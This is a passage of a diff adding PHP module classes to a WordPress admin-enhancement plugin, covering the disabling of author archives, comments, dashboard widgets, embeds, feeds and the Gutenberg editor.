$table_name = $wpdb->prefix . 'asenha_failed_logins';
|
||||
|
||||
// Drop table if already exists
|
||||
$wpdb->query("DROP TABLE IF EXISTS `". $table_name ."`");
|
||||
|
||||
}
|
||||
|
||||
/**
|
||||
* Part of Disable Embeds module
|
||||
* Flush rewrite rules on plugin deactivation.
|
||||
*
|
||||
* @link https://plugins.trac.wordpress.org/browser/disable-embeds/tags/1.5.0/disable-embeds.php#L113
|
||||
* @since 8.0.0
|
||||
*/
|
||||
public function disable_embeds_flush_rewrite_rules() {
|
||||
$common_methods = new Common_Methods;
|
||||
remove_filter( 'rewrite_rules_array', [ $common_methods, 'disable_embeds_rewrites' ] );
|
||||
flush_rewrite_rules( false );
|
||||
}
|
||||
|
||||
}
|
||||
@@ -0,0 +1,75 @@
|
||||
<?php
|
||||
|
||||
namespace ASENHA\Classes;
|
||||
|
||||
/**
|
||||
* Class for Disable Updates module
|
||||
*
|
||||
* @since 6.9.5
|
||||
*/
|
||||
class Disable_Author_Archives {
|
||||
|
||||
/**
|
||||
* Redirect author archives to 404
|
||||
*
|
||||
* @link https://plugins.trac.wordpress.org/browser/disable-author-archives/trunk/disable-author-archives.php
|
||||
* @since 7.9.0
|
||||
*/
|
||||
public function redirect_to_404() {
|
||||
if ( isset( $_GET['author'] ) || is_author() ) {
|
||||
global $wp_query;
|
||||
$wp_query->set_404();
|
||||
status_header( 404 );
|
||||
nocache_headers();
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Remove 'View' link in user table action rows
|
||||
*
|
||||
* @link https://plugins.trac.wordpress.org/browser/disable-author-archives/trunk/disable-author-archives.php
|
||||
* @since 7.9.0
|
||||
*/
|
||||
public function remove_user_view_action( $actions ) {
|
||||
if ( isset( $actions['view'] ) ) {
|
||||
unset( $actions['view'] );
|
||||
}
|
||||
|
||||
return $actions;
|
||||
}
|
||||
|
||||
/**
|
||||
* Disable linking from frontend post author name to the author archive
|
||||
*
|
||||
* @link https://plugins.trac.wordpress.org/browser/disable-author-archives/trunk/disable-author-archives.php
|
||||
* @since 7.9.0
|
||||
*/
|
||||
public function disable_frontend_author_link() {
|
||||
return '#';
|
||||
}
|
||||
|
||||
/**
|
||||
* Remove users from the sitemap
|
||||
*
|
||||
* @link https://plugins.trac.wordpress.org/browser/disable-author-archives/trunk/disable-author-archives.php
|
||||
* @since 7.9.0
|
||||
*/
|
||||
public function remove_users_from_sitemap( $provider, $name ) {
|
||||
if ( $name === 'users' ) {
|
||||
return false;
|
||||
}
|
||||
|
||||
return $provider;
|
||||
}
|
||||
|
||||
/**
|
||||
* Disable rewrite rules for authors
|
||||
*
|
||||
* @link https://plugins.trac.wordpress.org/browser/xo-security/tags/3.10.4/inc/class-xo-security.php#L886
|
||||
* @since 7.9.0
|
||||
*/
|
||||
public function disable_rewrite_rules_for_authors() {
|
||||
return array();
|
||||
}
|
||||
|
||||
}
|
||||
@@ -0,0 +1,310 @@
|
||||
<?php
|
||||
|
||||
namespace ASENHA\Classes;
|
||||
|
||||
/**
|
||||
* Class for Disable Comments module
|
||||
*
|
||||
* @since 6.9.5
|
||||
*/
|
||||
class Disable_Comments {
|
||||
/**
|
||||
* Public post types that should never have comments disabled by this module.
|
||||
*
|
||||
* @since 8.5.2
|
||||
*
|
||||
* @var string[]
|
||||
*/
|
||||
public $inapplicable_post_types = array('kt_gallery');
|
||||
|
||||
/**
|
||||
* Get the disable comments mode.
|
||||
*
|
||||
* @since 8.5.2
|
||||
*
|
||||
* @param array $options Module options.
|
||||
* @return string
|
||||
*/
|
||||
private function get_disable_comments_type( $options ) {
|
||||
return 'only-on';
|
||||
}
|
||||
|
||||
/**
|
||||
* Get the post types selected in the Disable Comments settings.
|
||||
*
|
||||
* @since 8.5.2
|
||||
*
|
||||
* @param array $options Module options.
|
||||
* @return string[]
|
||||
*/
|
||||
private function get_disabled_comments_post_types( $options ) {
|
||||
$disable_comments_for = ( isset( $options['disable_comments_for'] ) ? $options['disable_comments_for'] : array() );
|
||||
if ( empty( $disable_comments_for ) || !is_array( $disable_comments_for ) ) {
|
||||
return array();
|
||||
}
|
||||
$common_methods = new Common_Methods();
|
||||
$disable_comments_for = $common_methods->get_array_of_keys_with_true_value( $disable_comments_for );
|
||||
return array_values( array_diff( $disable_comments_for, $this->inapplicable_post_types ) );
|
||||
}
|
||||
|
||||
/**
|
||||
* Get public post types that support comments and can be managed by this module.
|
||||
*
|
||||
* @since 8.5.2
|
||||
*
|
||||
* @return string[]
|
||||
*/
|
||||
private function get_applicable_public_post_types( $options = array() ) {
|
||||
if ( empty( $options ) ) {
|
||||
$options = get_option( ASENHA_SLUG_U, array() );
|
||||
}
|
||||
$public_post_types = get_post_types( array(
|
||||
'public' => true,
|
||||
), 'names' );
|
||||
$configured_post_types = ( isset( $options['disable_comments_for'] ) && is_array( $options['disable_comments_for'] ) ? array_keys( $options['disable_comments_for'] ) : array() );
|
||||
$candidate_post_types = array_unique( array_merge( $public_post_types, $configured_post_types ) );
|
||||
$applicable_post_types = array();
|
||||
if ( is_array( $candidate_post_types ) ) {
|
||||
foreach ( $candidate_post_types as $post_type ) {
|
||||
$post_type_object = get_post_type_object( $post_type );
|
||||
if ( !is_object( $post_type_object ) || !$post_type_object->public || $this->is_post_type_inapplicable( $post_type ) ) {
|
||||
continue;
|
||||
}
|
||||
if ( post_type_supports( $post_type, 'comments' ) || array_key_exists( $post_type, (array) $options['disable_comments_for'] ) ) {
|
||||
$applicable_post_types[] = $post_type;
|
||||
}
|
||||
}
|
||||
}
|
||||
return $applicable_post_types;
|
||||
}
|
||||
|
||||
/**
|
||||
* Check if the post type should never be affected by Disable Comments.
|
||||
*
|
||||
* @since 8.5.2
|
||||
*
|
||||
* @param string $post_type Post type slug.
|
||||
* @return bool
|
||||
*/
|
||||
public function is_post_type_inapplicable( $post_type ) {
|
||||
return in_array( $post_type, $this->inapplicable_post_types, true );
|
||||
}
|
||||
|
||||
/**
|
||||
* Check if comments are disabled for all applicable post types.
|
||||
*
|
||||
* @since 8.5.2
|
||||
*
|
||||
* @param array $options Optional module options.
|
||||
* @return bool
|
||||
*/
|
||||
public function are_comments_disabled_for_all_applicable_post_types( $options = array() ) {
|
||||
if ( empty( $options ) ) {
|
||||
$options = get_option( ASENHA_SLUG_U, array() );
|
||||
}
|
||||
if ( !isset( $options['disable_comments'] ) || !$options['disable_comments'] ) {
|
||||
return false;
|
||||
}
|
||||
$applicable_post_types = $this->get_applicable_public_post_types( $options );
|
||||
if ( empty( $applicable_post_types ) ) {
|
||||
return false;
|
||||
}
|
||||
foreach ( $applicable_post_types as $post_type ) {
|
||||
if ( !$this->is_commenting_disabled_for_post_type( $post_type, $options ) ) {
|
||||
return false;
|
||||
}
|
||||
}
|
||||
return true;
|
||||
}
|
||||
|
||||
/**
|
||||
* Disable comments for post types
|
||||
*
|
||||
* @since 2.7.0
|
||||
*/
|
||||
public function disable_comments_for_post_types_edit() {
|
||||
$options = get_option( ASENHA_SLUG_U, array() );
|
||||
foreach ( $this->get_applicable_public_post_types( $options ) as $post_type_slug ) {
|
||||
if ( $this->is_commenting_disabled_for_post_type( $post_type_slug, $options ) ) {
|
||||
remove_post_type_support( $post_type_slug, 'comments' );
|
||||
remove_post_type_support( $post_type_slug, 'trackbacks' );
|
||||
remove_meta_box( 'commentstatusdiv', $post_type_slug, 'normal' );
|
||||
remove_meta_box( 'commentstatusdiv', $post_type_slug, 'side' );
|
||||
remove_meta_box( 'commentsdiv', $post_type_slug, 'normal' );
|
||||
remove_meta_box( 'commentsdiv', $post_type_slug, 'side' );
|
||||
remove_meta_box( 'trackbacksdiv', $post_type_slug, 'normal' );
|
||||
remove_meta_box( 'trackbacksdiv', $post_type_slug, 'side' );
|
||||
// edit-comments.js
|
||||
wp_dequeue_script( 'admin-comments' );
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Hide existing comments from the frontend post
|
||||
*
|
||||
* @since 6.2.1
|
||||
*/
|
||||
public function hide_existing_comments_on_frontend() {
|
||||
$current_post_type = get_post_type();
|
||||
if ( $this->is_commenting_disabled_for_post_type( $current_post_type ) ) {
|
||||
add_filter(
|
||||
'comments_array',
|
||||
'__return_empty_array',
|
||||
10,
|
||||
2
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Return empty comments array for comment templates
|
||||
*
|
||||
* @since 6.3.1
|
||||
*/
|
||||
public function maybe_return_empty_comments( $comments, $post_id ) {
|
||||
$post = get_post( $post_id );
|
||||
if ( !is_object( $post ) || !property_exists( $post, 'post_type' ) ) {
|
||||
return $comments;
|
||||
}
|
||||
if ( $this->is_commenting_disabled_for_post_type( $post->post_type ) ) {
|
||||
return array();
|
||||
}
|
||||
return $comments;
|
||||
}
|
||||
|
||||
/**
|
||||
* Close commenting on the frontend
|
||||
*
|
||||
* @since 2.7.0
|
||||
*/
|
||||
public function close_comments_pings_on_frontend( $comments_pings_open, $post_id ) {
|
||||
// If commenting or pinging is not open, let's keep it that way
|
||||
if ( !$comments_pings_open ) {
|
||||
return $comments_pings_open;
|
||||
}
|
||||
// Commenting or pinging is open for the post ID, let's decide if we should close it
|
||||
$post = get_post( $post_id );
|
||||
if ( is_object( $post ) && property_exists( $post, 'post_type' ) && $this->is_commenting_disabled_for_post_type( $post->post_type ) ) {
|
||||
return false;
|
||||
}
|
||||
return $comments_pings_open;
|
||||
}
|
||||
|
||||
/**
|
||||
* Always return zero for comments count on a post where the post type has commenting disabled
|
||||
*
|
||||
* @since 6.2.7
|
||||
*/
|
||||
public function return_zero_comments_count( $comments_number, $post_id ) {
|
||||
$post = get_post( $post_id );
|
||||
if ( is_object( $post ) && property_exists( $post, 'post_type' ) ) {
|
||||
if ( $this->is_commenting_disabled_for_post_type( $post->post_type ) ) {
|
||||
return 0;
|
||||
}
|
||||
}
|
||||
return $comments_number;
|
||||
}
|
||||
|
||||
/**
|
||||
* Disable commenting via XML-RPC
|
||||
*
|
||||
* @link https://plugins.trac.wordpress.org/browser/disable-comments/tags/2.4.5/disable-comments.php
|
||||
* @since 6.3.1
|
||||
*/
|
||||
public function disable_xmlrpc_comments( $methods ) {
|
||||
if ( $this->are_comments_disabled_for_all_applicable_post_types() ) {
|
||||
unset($methods['wp.newComment']);
|
||||
}
|
||||
return $methods;
|
||||
}
|
||||
|
||||
/**
|
||||
* Disables comments endpoint in REST API
|
||||
*
|
||||
* @link https://plugins.trac.wordpress.org/browser/disable-comments/tags/2.4.5/disable-comments.php
|
||||
* @since 6.3.1
|
||||
*/
|
||||
public function disable_rest_api_comments_endpoints( $endpoints ) {
|
||||
if ( $this->are_comments_disabled_for_all_applicable_post_types() ) {
|
||||
if ( isset( $endpoints['comments'] ) ) {
|
||||
unset($endpoints['comments']);
|
||||
}
|
||||
if ( isset( $endpoints['/wp/v2/comments'] ) ) {
|
||||
unset($endpoints['/wp/v2/comments']);
|
||||
}
|
||||
if ( isset( $endpoints['/wp/v2/comments/(?P<id>[\\d]+)'] ) ) {
|
||||
unset($endpoints['/wp/v2/comments/(?P<id>[\\d]+)']);
|
||||
}
|
||||
}
|
||||
return $endpoints;
|
||||
}
|
||||
|
||||
/**
|
||||
* Return blank comment before inserting to DB
|
||||
*
|
||||
* @link https://plugins.trac.wordpress.org/browser/disable-comments/tags/2.4.5/disable-comments.php
|
||||
* @since 6.3.1
|
||||
*/
|
||||
public function return_blank_comment( $prepared_comment, $request ) {
|
||||
$post_id = absint( $request->get_param( 'post' ) );
|
||||
if ( empty( $post_id ) ) {
|
||||
return $prepared_comment;
|
||||
}
|
||||
$post = get_post( $post_id );
|
||||
if ( !is_object( $post ) || !property_exists( $post, 'post_type' ) ) {
|
||||
return $prepared_comment;
|
||||
}
|
||||
if ( !$this->is_commenting_disabled_for_post_type( $post->post_type ) ) {
|
||||
return $prepared_comment;
|
||||
}
|
||||
return new \WP_Error('asenha_commenting_disabled', __( 'Comments are disabled for this content type.', 'admin-site-enhancements' ), array(
|
||||
'status' => 403,
|
||||
));
|
||||
}
|
||||
|
||||
/**
|
||||
* Show blank template on singular views when comment is disabled
|
||||
*
|
||||
* @since 4.9.2
|
||||
*/
|
||||
public function show_blank_comment_template() {
|
||||
$current_post_type = get_post_type();
|
||||
if ( is_singular() && $this->is_commenting_disabled_for_post_type( $current_post_type ) ) {
|
||||
add_filter( 'comments_template', [$this, 'load_blank_comment_template'], 20 );
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Load the actual blank comment template
|
||||
*
|
||||
* @since 4.9.2
|
||||
*/
|
||||
public function load_blank_comment_template() {
|
||||
return ASENHA_PATH . 'includes/blank-comment-template.php';
|
||||
}
|
||||
|
||||
/**
|
||||
* Check if commenting is disabled for the post type
|
||||
*
|
||||
* @since 7.8.8
|
||||
*/
|
||||
public function is_commenting_disabled_for_post_type( $post_type, $options = array() ) {
|
||||
if ( empty( $post_type ) || $this->is_post_type_inapplicable( $post_type ) ) {
|
||||
return false;
|
||||
}
|
||||
if ( empty( $options ) ) {
|
||||
$options = get_option( ASENHA_SLUG_U, array() );
|
||||
}
|
||||
$comment_is_disabled_for_post_type = false;
|
||||
if ( array_key_exists( 'disable_comments', $options ) && $options['disable_comments'] ) {
|
||||
$disable_comments_for = $this->get_disabled_comments_post_types( $options );
|
||||
$disable_comments_type = $this->get_disable_comments_type( $options );
|
||||
if ( 'only-on' === $disable_comments_type && in_array( $post_type, $disable_comments_for, true ) || 'except-on' === $disable_comments_type && !in_array( $post_type, $disable_comments_for, true ) || 'all-post-types' === $disable_comments_type ) {
|
||||
$comment_is_disabled_for_post_type = true;
|
||||
}
|
||||
}
|
||||
return $comment_is_disabled_for_post_type;
|
||||
}
|
||||
|
||||
}
|
||||
+108
@@ -0,0 +1,108 @@
|
||||
<?php
|
||||
|
||||
namespace ASENHA\Classes;
|
||||
|
||||
/**
|
||||
* Class for Disable Dashboard Widgets module
|
||||
*
|
||||
* @since 6.9.5
|
||||
*/
|
||||
class Disable_Dashboard_Widgets {
|
||||
|
||||
/**
|
||||
* Disable dashboard widgets
|
||||
*
|
||||
* @since 4.2.0
|
||||
*/
|
||||
public function disable_dashboard_widgets() {
|
||||
|
||||
global $wp_meta_boxes;
|
||||
|
||||
// Get list of disabled widgets
|
||||
$options = get_option( ASENHA_SLUG_U, array() );
|
||||
$disabled_dashboard_widgets = isset( $options['disabled_dashboard_widgets'] ) ? $options['disabled_dashboard_widgets'] : array();
|
||||
|
||||
// Store default widgets in extra options. This will be referenced from settings field.
|
||||
$dashboard_widgets = $this->get_dashboard_widgets();
|
||||
$options_extra = get_option( ASENHA_SLUG_U . '_extra', array() );
|
||||
$options_extra['dashboard_widgets'] = $dashboard_widgets;
|
||||
update_option( ASENHA_SLUG_U . '_extra', $options_extra, true );
|
||||
|
||||
// Disable widgets
|
||||
if ( is_array( $disabled_dashboard_widgets ) || is_object( $disabled_dashboard_widgets ) ) {
|
||||
if ( ! empty( $disabled_dashboard_widgets ) ) {
|
||||
foreach( $disabled_dashboard_widgets as $disabled_widget_id_context_priority => $is_disabled ) {
|
||||
// e.g. dashboard_activity__normal__core => true/false
|
||||
if ( $is_disabled ) {
|
||||
$disabled_widget = explode('__', $disabled_widget_id_context_priority);
|
||||
$widget_id = $disabled_widget[0];
|
||||
$widget_context = $disabled_widget[1];
|
||||
$widget_priority = $disabled_widget[2];
|
||||
// remove_meta_box( $widget_id, get_current_screen()->base, $widget_context );
|
||||
unset( $wp_meta_boxes['dashboard'][$widget_context][$widget_priority][$widget_id] );
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
/**
|
||||
* Get dashboard widgets
|
||||
*
|
||||
* @since 4.2.0
|
||||
*/
|
||||
public function get_dashboard_widgets() {
|
||||
|
||||
global $wp_meta_boxes;
|
||||
|
||||
$dashboard_widgets = array();
|
||||
|
||||
if ( ! isset( $wp_meta_boxes['dashboard'] ) ) {
|
||||
$options_extra = get_option( ASENHA_SLUG_U . '_extra', array() );
|
||||
if ( ! array_key_exists( 'dashboard_widgets', $options_extra ) ) {
|
||||
require_once ABSPATH . '/wp-admin/includes/dashboard.php';
|
||||
set_current_screen( 'dashboard' );
|
||||
wp_dashboard_setup();
|
||||
}
|
||||
}
|
||||
|
||||
if ( isset( $wp_meta_boxes['dashboard'] ) ) {
|
||||
foreach( $wp_meta_boxes['dashboard'] as $context => $priorities ) {
|
||||
foreach ( $priorities as $priority => $widgets ) {
|
||||
foreach( $widgets as $widget_id => $data ) {
|
||||
$widget_title = ( isset( $data['title'] ) ) ? wp_strip_all_tags( preg_replace( '/ <span.*span>/im', '', $data['title'] ) ) : 'Undetectable';
|
||||
$dashboard_widgets[$widget_id] = array(
|
||||
'id' => $widget_id,
|
||||
'title' => $widget_title,
|
||||
'context' => $context, // 'normal' or 'side'
|
||||
'priority' => $priority, // 'core'
|
||||
);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
$dashboard_widgets = wp_list_sort( $dashboard_widgets, 'title', 'ASC', true );
|
||||
|
||||
return $dashboard_widgets;
|
||||
|
||||
}
|
||||
|
||||
/**
|
||||
* Maybe remove welcome panel from dashboard
|
||||
*
|
||||
* @since 6.9.10
|
||||
*/
|
||||
public function maybe_remove_welcome_panel() {
|
||||
|
||||
$options = get_option( ASENHA_SLUG_U, array() );
|
||||
$disable_welcome_panel = isset( $options['disable_welcome_panel_in_dashboard'] ) ? $options['disable_welcome_panel_in_dashboard'] : false;
|
||||
|
||||
if ( $disable_welcome_panel ) {
|
||||
remove_action( 'welcome_panel', 'wp_welcome_panel' );
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
}
|
||||
@@ -0,0 +1,171 @@
|
||||
<?php
|
||||
|
||||
namespace ASENHA\Classes;
|
||||
|
||||
/**
|
||||
* Class for Disable Embeds module.
|
||||
* Ported from the Disable Embeds plugin v1.5.0 by Pascal Birchler
|
||||
* @link https://wordpress.org/plugins/disable-embeds/
|
||||
*
|
||||
* @since 8.0.0
|
||||
*/
|
||||
class Disable_Embeds {
|
||||
|
||||
/**
|
||||
* Disable embeds on init.
|
||||
*
|
||||
* - Removes the needed query vars.
|
||||
* - Disables oEmbed discovery.
|
||||
* - Completely removes the related JavaScript.
|
||||
* - Disables the core-embed/wordpress block type (WordPress 5.0+)
|
||||
*
|
||||
* @link https://plugins.trac.wordpress.org/browser/disable-embeds/tags/1.5.0/disable-embeds.php#L23
|
||||
* @since 8.0.0
|
||||
*/
|
||||
public function disable_embeds_init() {
|
||||
/* @var WP $wp */
|
||||
global $wp;
|
||||
|
||||
// Remove the embed query var.
|
||||
$wp->public_query_vars = array_diff( $wp->public_query_vars, array(
|
||||
'embed',
|
||||
) );
|
||||
|
||||
// Remove the oembed/1.0/embed REST route.
|
||||
add_filter( 'rest_endpoints', [ $this, 'disable_embeds_remove_embed_endpoint'] );
|
||||
|
||||
// Disable handling of internal embeds in oembed/1.0/proxy REST route.
|
||||
add_filter( 'oembed_response_data', [ $this, 'disable_embeds_filter_oembed_response_data' ] );
|
||||
|
||||
// Turn off oEmbed auto discovery.
|
||||
add_filter( 'embed_oembed_discover', '__return_false' );
|
||||
|
||||
// Don't filter oEmbed results.
|
||||
remove_filter( 'oembed_dataparse', 'wp_filter_oembed_result', 10 );
|
||||
|
||||
// Remove oEmbed discovery links.
|
||||
remove_action( 'wp_head', 'wp_oembed_add_discovery_links' );
|
||||
|
||||
// Remove oEmbed-specific JavaScript from the front-end and back-end.
|
||||
remove_action( 'wp_head', 'wp_oembed_add_host_js' );
|
||||
add_filter( 'tiny_mce_plugins', [ $this, 'disable_embeds_tiny_mce_plugin' ] );
|
||||
|
||||
// Remove all embeds rewrite rules.
|
||||
add_filter( 'rewrite_rules_array', [ $this, 'disable_embeds_rewrites' ] );
|
||||
|
||||
// Remove filter of the oEmbed result before any HTTP requests are made.
|
||||
remove_filter( 'pre_oembed_result', 'wp_filter_pre_oembed_result', 10 );
|
||||
|
||||
// Load block editor JavaScript.
|
||||
add_action( 'enqueue_block_editor_assets', [ $this, 'disable_embeds_enqueue_block_editor_assets' ] );
|
||||
|
||||
// Remove wp-embed dependency of wp-edit-post script handle.
|
||||
add_action( 'wp_default_scripts', [ $this, 'disable_embeds_remove_script_dependencies' ] );
|
||||
}
|
||||
|
||||
/**
|
||||
* Removes the oembed/1.0/embed REST route.
|
||||
*
|
||||
* @link https://plugins.trac.wordpress.org/browser/disable-embeds/tags/1.5.0/disable-embeds.php#L128
|
||||
* @since 8.0.0
|
||||
*
|
||||
* @param array $endpoints Registered REST API endpoints.
|
||||
* @return array Filtered REST API endpoints.
|
||||
*/
|
||||
public function disable_embeds_remove_embed_endpoint( $endpoints ) {
|
||||
unset( $endpoints['/oembed/1.0/embed'] );
|
||||
|
||||
return $endpoints;
|
||||
}
|
||||
|
||||
/**
|
||||
* Disables sending internal oEmbed response data in proxy endpoint.
|
||||
*
|
||||
* @link https://plugins.trac.wordpress.org/browser/disable-embeds/tags/1.5.0/disable-embeds.php#L142
|
||||
* @since 8.0.0
|
||||
*
|
||||
* @param array $data The response data.
|
||||
* @return array|false Response data or false if in a REST API context.
|
||||
*/
|
||||
public function disable_embeds_filter_oembed_response_data( $data ) {
|
||||
if ( defined( 'REST_REQUEST' ) && REST_REQUEST ) {
|
||||
return false;
|
||||
}
|
||||
|
||||
return $data;
|
||||
}
|
||||
|
||||
/**
|
||||
* Removes the 'wpembed' TinyMCE plugin.
|
||||
*
|
||||
* @link https://plugins.trac.wordpress.org/browser/disable-embeds/tags/1.5.0/disable-embeds.php#L74
|
||||
* @since 8.0.0
|
||||
*
|
||||
* @param array $plugins List of TinyMCE plugins.
|
||||
* @return array The modified list.
|
||||
*/
|
||||
public function disable_embeds_tiny_mce_plugin( $plugins ) {
|
||||
return array_diff( $plugins, array( 'wpembed' ) );
|
||||
}
|
||||
|
||||
/**
|
||||
* Remove all rewrite rules related to embeds.
|
||||
*
|
||||
* @link https://plugins.trac.wordpress.org/browser/disable-embeds/tags/1.5.0/disable-embeds.php#L86
|
||||
* @since 8.0.0
|
||||
*
|
||||
* @param array $rules WordPress rewrite rules.
|
||||
* @return array Rewrite rules without embeds rules.
|
||||
*/
|
||||
public function disable_embeds_rewrites( $rules ) {
|
||||
foreach ( $rules as $rule => $rewrite ) {
|
||||
if ( false !== strpos( $rewrite, 'embed=true' ) ) {
|
||||
unset( $rules[ $rule ] );
|
||||
}
|
||||
}
|
||||
|
||||
return $rules;
|
||||
}
|
||||
|
||||
/**
|
||||
* Enqueues JavaScript for the block editor.
|
||||
*
|
||||
* @link https://plugins.trac.wordpress.org/browser/disable-embeds/tags/1.5.0/disable-embeds.php#L157
|
||||
* @since 8.0.0
|
||||
*
|
||||
* This is used to unregister the `core-embed/wordpress` block type.
|
||||
*/
|
||||
public function disable_embeds_enqueue_block_editor_assets() {
|
||||
$asset_file = ASENHA_PATH . 'includes/disable-embeds/build/index.asset.php';
|
||||
|
||||
$asset = is_readable( $asset_file ) ? require $asset_file : [];
|
||||
|
||||
$asset['dependencies'] = isset( $asset['dependencies'] ) ? $asset['dependencies'] : [];
|
||||
$asset['version'] = isset( $asset['version'] ) ? $asset['version'] : '';
|
||||
|
||||
wp_enqueue_script(
|
||||
'disable-embeds',
|
||||
plugins_url( 'includes/disable-embeds/build/index.js', __DIR__ ),
|
||||
$asset['dependencies'],
|
||||
$asset['version'],
|
||||
true
|
||||
);
|
||||
}
|
||||
|
||||
/**
|
||||
* Removes wp-embed dependency of core packages.
|
||||
*
|
||||
* @link https://plugins.trac.wordpress.org/browser/disable-embeds/tags/1.5.0/disable-embeds.php#L180
|
||||
* @since 8.0.0
|
||||
*
|
||||
* @param WP_Scripts $scripts WP_Scripts instance, passed by reference.
|
||||
*/
|
||||
public function disable_embeds_remove_script_dependencies( $scripts ) {
|
||||
if ( ! empty( $scripts->registered['wp-edit-post'] ) ) {
|
||||
$scripts->registered['wp-edit-post']->deps = array_diff(
|
||||
$scripts->registered['wp-edit-post']->deps,
|
||||
array( 'wp-embed' )
|
||||
);
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,24 @@
|
||||
<?php
|
||||
|
||||
namespace ASENHA\Classes;
|
||||
|
||||
/**
|
||||
* Class for Disable Feeds module
|
||||
*
|
||||
* @since 6.9.5
|
||||
*/
|
||||
class Disable_Feeds {
|
||||
|
||||
/**
|
||||
* Ensure /feed/ page outputs a 403 Forbidden header and message
|
||||
*
|
||||
* @since 5.5.2
|
||||
*/
|
||||
public function redirect_feed_to_403() {
|
||||
if ( is_feed() ) {
|
||||
status_header( 403 ); // Send an HTTP 403 Forbidden status header
|
||||
die( '403 Forbidden' ); // End execution and display a 403 Forbidden message
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
@@ -0,0 +1,189 @@
|
||||
<?php
|
||||
|
||||
namespace ASENHA\Classes;
|
||||
|
||||
/**
|
||||
* Class for Disable Gutenberg module
|
||||
*
|
||||
* @since 6.9.5
|
||||
*/
|
||||
class Disable_Gutenberg {
|
||||
/**
|
||||
* Disable Gutenberg in wp-admin for some or all post types
|
||||
*
|
||||
* @since 2.8.0
|
||||
*/
|
||||
public function disable_gutenberg_for_post_types_admin() {
|
||||
// Get current page's post type from WP core globals and query parameters
|
||||
global $pagenow, $typenow;
|
||||
$post_type = null;
|
||||
if ( 'edit.php' === $pagenow ) {
|
||||
// on the list table screen, $typenow returns correct post type
|
||||
$post_type = $typenow;
|
||||
} elseif ( 'post.php' === $pagenow ) {
|
||||
// on the edit screen, $typenow is empty, so we detect it
|
||||
$post_type = ( isset( $_GET['post'] ) ? get_post_type( $_GET['post'] ) : 'post' );
|
||||
} elseif ( 'post-new.php' === $pagenow ) {
|
||||
// on the add new screen, best to get post type from GET parameter
|
||||
$post_type = ( isset( $_GET['post_type'] ) ? $_GET['post_type'] : 'post' );
|
||||
} else {
|
||||
}
|
||||
// Check if Gutenberg feature is enabled for the site
|
||||
// Before/after WP v5.0.0 via feature plugin
|
||||
$gutenberg = function_exists( 'gutenberg_register_scripts_and_styles' );
|
||||
// Since WP v5.0.0, gutenberg is in core
|
||||
$block_editor = has_action( 'enqueue_block_assets' );
|
||||
// Gutenberg feature is not enabled for the site
|
||||
if ( !$gutenberg && false === $block_editor ) {
|
||||
return;
|
||||
// do nothing
|
||||
}
|
||||
// Assemble single-dimensional array of post types for which Gutenberg should be disabled
|
||||
$options = get_option( ASENHA_SLUG_U );
|
||||
$disable_gutenberg_type = 'only-on';
|
||||
$disable_gutenberg_for = $options['disable_gutenberg_for'];
|
||||
$post_types_for_disable_gutenberg = array();
|
||||
foreach ( $disable_gutenberg_for as $post_type_slug => $is_gutenberg_disabled ) {
|
||||
if ( $is_gutenberg_disabled ) {
|
||||
$post_types_for_disable_gutenberg[] = $post_type_slug;
|
||||
}
|
||||
}
|
||||
// Selectively disable Gutenberg
|
||||
if ( 'only-on' == $disable_gutenberg_type && in_array( $post_type, $post_types_for_disable_gutenberg ) || 'except-on' == $disable_gutenberg_type && !in_array( $post_type, $post_types_for_disable_gutenberg ) || 'all-post-types' == $disable_gutenberg_type ) {
|
||||
// For WP v5.0.0 upwards
|
||||
add_filter( 'use_block_editor_for_post_type', '__return_false', 100 );
|
||||
// If Gutenberg feature plugin is activated
|
||||
if ( $gutenberg ) {
|
||||
add_filter( 'gutenberg_can_edit_post_type', '__return_false', 100 );
|
||||
$this->remove_all_gutenberg_hooks();
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Remove Gutenberg hooks added via feature plugin.
|
||||
*
|
||||
* @link https://plugins.trac.wordpress.org/browser/classic-editor/tags/1.6.2/classic-editor.php#L138
|
||||
* @since 2.8.0
|
||||
*/
|
||||
public function remove_all_gutenberg_hooks() {
|
||||
remove_action( 'admin_menu', 'gutenberg_menu' );
|
||||
remove_action( 'admin_init', 'gutenberg_redirect_demo' );
|
||||
// Gutenberg 5.3+
|
||||
remove_action( 'wp_enqueue_scripts', 'gutenberg_register_scripts_and_styles' );
|
||||
remove_action( 'admin_enqueue_scripts', 'gutenberg_register_scripts_and_styles' );
|
||||
remove_action( 'admin_notices', 'gutenberg_wordpress_version_notice' );
|
||||
remove_action( 'rest_api_init', 'gutenberg_register_rest_widget_updater_routes' );
|
||||
remove_action( 'admin_print_styles', 'gutenberg_block_editor_admin_print_styles' );
|
||||
remove_action( 'admin_print_scripts', 'gutenberg_block_editor_admin_print_scripts' );
|
||||
remove_action( 'admin_print_footer_scripts', 'gutenberg_block_editor_admin_print_footer_scripts' );
|
||||
remove_action( 'admin_footer', 'gutenberg_block_editor_admin_footer' );
|
||||
remove_action( 'admin_enqueue_scripts', 'gutenberg_widgets_init' );
|
||||
remove_action( 'admin_notices', 'gutenberg_build_files_notice' );
|
||||
remove_filter( 'load_script_translation_file', 'gutenberg_override_translation_file' );
|
||||
remove_filter( 'block_editor_settings', 'gutenberg_extend_block_editor_styles' );
|
||||
remove_filter( 'default_content', 'gutenberg_default_demo_content' );
|
||||
remove_filter( 'default_title', 'gutenberg_default_demo_title' );
|
||||
remove_filter( 'block_editor_settings', 'gutenberg_legacy_widget_settings' );
|
||||
remove_filter( 'rest_request_after_callbacks', 'gutenberg_filter_oembed_result' );
|
||||
// Previously used, compat for older Gutenberg versions.
|
||||
remove_filter( 'wp_refresh_nonces', 'gutenberg_add_rest_nonce_to_heartbeat_response_headers' );
|
||||
remove_filter( 'get_edit_post_link', 'gutenberg_revisions_link_to_editor' );
|
||||
remove_filter( 'wp_prepare_revision_for_js', 'gutenberg_revisions_restore' );
|
||||
remove_action( 'rest_api_init', 'gutenberg_register_rest_routes' );
|
||||
remove_action( 'rest_api_init', 'gutenberg_add_taxonomy_visibility_field' );
